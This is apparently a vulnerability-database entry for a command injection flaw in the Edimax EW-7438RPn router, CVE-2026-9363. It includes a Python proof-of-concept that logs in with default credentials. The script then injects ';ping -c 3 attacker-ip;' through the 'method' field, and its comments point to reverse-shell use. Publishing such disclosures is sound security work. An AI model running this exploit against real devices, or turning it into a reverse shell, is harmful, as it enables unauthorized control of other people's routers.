Security Vulnerability Report
中文
CVE-2026-9363 CVSS 6.3 MEDIUM

CVE-2026-9363

Published: 2026-05-24 08:16:14
Last Modified: 2026-05-26 19:37:00

Description

A vulnerability was detected in Edimax EW-7438RPn 1.12. This issue affects the function formEZCHNwlanSetup of the file /goform/formEZCHNwlanSetu of the component POST Request Handler. Performing a manipulation of the argument method results in command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-9363 PoC - Edimax EW-7438RPn formEZCHNwlanSetup Command Injection # Target: Edimax EW-7438RPn v1.12 # Vulnerability: Command Injection in /goform/formEZCHNwlanSetup TARGET = "http://target-ip" LOGIN_URL = f"{TARGET}/login.cgi" EXPLOIT_URL = f"{TARGET}/goform/formEZCHNwlanSetup" def exploit(): """Execute command injection to get reverse shell""" # Login first (default credentials often work: admin/admin) login_data = { "username": "admin", "password": "admin" } # Send exploit payload with injected command # Using ping command for testing; can be modified for reverse shell exploit_data = { "method": ";ping -c 3 attacker-ip;" } try: # Attempt login session = requests.Session() session.post(LOGIN_URL, data=login_data, timeout=10) # Send malicious request response = session.post(EXPLOIT_URL, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check if command was executed on target") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
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